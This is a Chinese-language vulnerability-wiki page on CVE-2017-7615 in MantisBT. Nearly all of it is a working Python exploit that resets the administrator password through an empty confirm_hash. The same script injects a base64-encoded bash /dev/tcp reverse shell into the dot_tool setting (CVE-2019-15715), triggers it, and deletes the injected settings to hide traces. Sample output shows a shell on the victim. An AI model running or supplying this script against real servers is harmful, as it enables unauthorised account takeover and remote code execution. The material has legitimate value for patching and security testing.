menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right yougar0.github.io(基于零组公开漏洞库 + PeiQi文库的一些漏洞)-20210715 chevron_right Web安全 chevron_right MantisBT chevron_right (CVE-2017-7615)MantisBT 任意密码重置漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2017-7615)MantisBT 任意密码重置漏洞.md
    8.77 KB / 2021-04-21 09:23:46
        (CVE-2017-7615)MantisBT 任意密码重置漏洞
    ==========================================
    
    一、漏洞简介
    ------------
    
    攻击者可通过向verify.php文件传递空的`confirm_hash`值利用该漏洞重置任意密码,获取管理员访问权限。
    
    二、漏洞影响
    ------------
    
    MantisBT2.3.0及之前的版本
    
    三、复现过程
    ------------
    
    ### poc
    
    > CVE-2017-7615.py
    
        # Exploit Title: Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)
        # Date: 2020-09-17
        # Vulnerability Discovery: hyp3rlinx, permanull
        # Exploit Author: Nikolas Geiselman
        # Vendor Homepage: https://mantisbt.org/
        # Software Link: https://mantisbt.org/download.php
        # Version: 1.3.0/2.3.0
        # Tested on: Ubuntu 16.04/19.10/20.04
        # CVE : CVE-2017-7615, CVE-2019-15715
        # References:
        # https://mantisbt.org/bugs/view.php?id=26091
        # https://www.exploit-db.com/exploits/41890
    
        '''
    
        This exploit chains together two CVE's to achieve unauthenticated remote code execution.
        The first portion of this exploit resets the Administrator password (CVE-2017-7615) discovered by John Page a.k.a hyp3rlinx, this portion was modified from the original https://www.exploit-db.com/exploits/41890.
        The second portion of this exploit takes advantage of a command injection vulnerability (CVE-2019-15715) discovered by 'permanull' (see references).
    
        Usage:
        Set netcat listener on port 4444
        Send exploit with "python exploit.py"
    
        Example output:
    
        kali@kali:~/Desktop$ python exploit.py
        Successfully hijacked account!
        Successfully logged in!
        Triggering reverse shell
        Cleaning up
        Deleting the dot_tool config.
        Deleting the relationship_graph_enable config.
        Successfully cleaned up
    
    
        kali@kali:~/Desktop$ nc -nvlp 4444
        listening on [any] 4444 ...
        connect to [192.168.116.135] from (UNKNOWN) [192.168.116.151] 43978
        bash: cannot set terminal process group (835): Inappropriate ioctl for device
        bash: no job control in this shell
        www-data@ubuntu:/var/www/html/mantisbt-2.3.0$ id
        id
        uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
        '''
    
        import requests
        from urllib import quote_plus
        from base64 import b64encode
        from re import split
    
    
        class exploit():
            def __init__(self):
                self.s = requests.Session()
                self.headers = dict()  # Initialize the headers dictionary
                self.RHOST = "192.168.116.151"  # Victim IP
                self.RPORT = "80"  # Victim port
                self.LHOST = "192.168.116.135"  # Attacker IP
                self.LPORT = "4444"  # Attacker Port
                self.verify_user_id = "1"  # User id for the target account
                self.realname = "administrator"  # Username to hijack
                self.passwd = "password"  # New password after account hijack
                self.mantisLoc = "/mantisbt-2.3.0"  # Location of mantis in URL
                self.ReverseShell = "echo " + b64encode(
                    "bash -i >& /dev/tcp/" + self.LHOST + "/" + self.LPORT + " 0>&1") + " | base64 -d | /bin/bash"  # Reverse shell payload
    
            def reset_login(self):
                # Request # 1: Grab the account update token
                url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/verify.php?id=' + self.verify_user_id + '&confirm_hash='
                r = self.s.get(url=url, headers=self.headers)
                if r.status_code == 404:
                    print "ERROR: Unable to access password reset page"
                    exit()
    
                account_update_token = r.text.split('name="account_update_token" value=')[1].split('"')[1]
    
                # Request # 2: Reset the account password
                url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/account_update.php'
                data = "account_update_token=" + account_update_token + "&password=" + self.passwd + "&verify_user_id=" + self.verify_user_id + "&realname=" + self.realname + "&password_confirm=" + self.passwd
                self.headers.update({'Content-Type': 'application/x-www-form-urlencoded'})
                r = self.s.post(url=url, headers=self.headers, data=data)
    
                if r.status_code == 200:
                    print "Successfully hijacked account!"
    
            def login(self):
                data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
                url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'
    
                r = self.s.post(url=url, headers=self.headers, data=data)
                if "login_page.php" not in r.url:
                    print "Successfully logged in!"
    
            def CreateConfigOption(self, option, value):
                # Get adm_config_set_token
                url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_report.php'
                r = self.s.get(url=url, headers=self.headers)
    
                adm_config_set_token = r.text.split('name="adm_config_set_token" value=')[1].split('"')[1]
    
                # Create config
                data = "adm_config_set_token=" + adm_config_set_token + "&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=" + option + "&original_config_option=&type=0&value=" + quote_plus(
                    value) + "&action=create&config_set=Create+Configuration+Option"
                url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_set.php'
                r = self.s.post(url=url, headers=self.headers, data=data)
    
            def TriggerExploit(self):
                print "Triggering reverse shell"
    
                url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/workflow_graph_img.php'
                try:
                    r = self.s.get(url=url, headers=self.headers, timeout=3)
                except:
                    pass
    
            def Cleanup(self):
                # Delete the config settings that were created to send the reverse shell
                print "Cleaning up"
    
                cleaned_up = False
    
                cleanup = requests.Session()
    
                CleanupHeaders = dict()
                CleanupHeaders.update({'Content-Type': 'application/x-www-form-urlencoded'})
    
                data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
                url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'
                r = cleanup.post(url=url, headers=CleanupHeaders, data=data)
    
                ConfigsToCleanup = ['dot_tool', 'relationship_graph_enable']
    
                for config in ConfigsToCleanup:
                    # Get adm_config_delete_token
                    url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php"
                    r = cleanup.get(url=url, headers=self.headers)
                    test = split('<!-- Repeated Info Rows -->', r.text)
    
                    # First element of the response list is garbage, delete it
                    del test[0]
    
                    cleanup_dict = dict()
                    for i in range(len(test)):
                        if config in test[i]:
                            cleanup_dict.update({'config_option': config})
                            cleanup_dict.update({'adm_config_delete_token':
                                                     test[i].split('name="adm_config_delete_token" value=')[1].split('"')[1]})
                            cleanup_dict.update({'user_id': test[i].split('name="user_id" value=')[1].split('"')[1]})
                            cleanup_dict.update({'project_id': test[i].split('name="project_id" value=')[1].split('"')[1]})
    
                    # Delete the config
                    print "Deleting the " + config + " config."
    
                    url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_delete.php"
                    data = "adm_config_delete_token=" + cleanup_dict['adm_config_delete_token'] + "&user_id=" + cleanup_dict[
                        'user_id'] + "&project_id=" + cleanup_dict['project_id'] + "&config_option=" + cleanup_dict[
                               'config_option'] + "&_confirmed=1"
                    r = cleanup.post(url=url, headers=CleanupHeaders, data=data)
    
                    # Confirm if actually cleaned up
                    r = cleanup.get(url="http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php",
                                    headers=CleanupHeaders, verify=False)
                    if config in r.text:
                        cleaned_up = False
                    else:
                        cleaned_up = True
    
                if cleaned_up == True:
                    print "Successfully cleaned up"
                else:
                    print "Unable to clean up configs"
    
    
        exploit = exploit()
        exploit.reset_login()
        exploit.login()
        exploit.CreateConfigOption(option="relationship_graph_enable", value="1")
        exploit.CreateConfigOption(option="dot_tool", value=exploit.ReverseShell + ';')
        exploit.TriggerExploit()
        exploit.Cleanup()
    
    
    links
    file_download